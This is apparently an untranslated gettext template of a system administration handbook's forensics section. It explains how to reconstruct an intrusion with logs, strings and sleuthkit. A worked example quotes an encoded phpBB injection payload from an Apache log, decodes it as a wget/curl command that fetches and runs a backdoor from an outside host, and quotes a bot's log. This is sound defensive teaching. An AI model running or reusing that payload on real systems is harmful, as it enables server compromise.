msgid "<filename>.bash_history</filename> files often provide for a very interesting read;"
msgstr ""

msgid "so does listing files that were recently created, modified or accessed;"
msgstr ""

msgid "the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;"
msgstr ""

msgid "the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;"
msgstr ""

msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete."
msgstr ""

msgid "Some of these operations can be made easier with specialized software. In particular, the <emphasis role=\"pkg\">sleuthkit</emphasis> package provides many tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package)."
msgstr ""

msgid "<primary>Autopsy Forensic Browser</primary>"
msgstr ""

msgid "<primary>The Sleuth Kit</primary>"
msgstr ""

msgid "Reconstituting the Attack Scenario"
msgstr ""

msgid "All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings."
msgstr ""

msgid "The following log is an extract from an Apache <filename>access.log</filename>:"
msgstr ""

msgid ""
"\n"
"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&amp;highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
"      "
msgstr ""

msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"http://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgstr ""

msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;\")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor."
msgstr ""

msgid "Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:"
msgstr ""

msgid ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)"
msgstr ""

msgid "These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address."
msgstr ""

msgid "In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach."
msgstr ""

msgid "In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability."
msgstr ""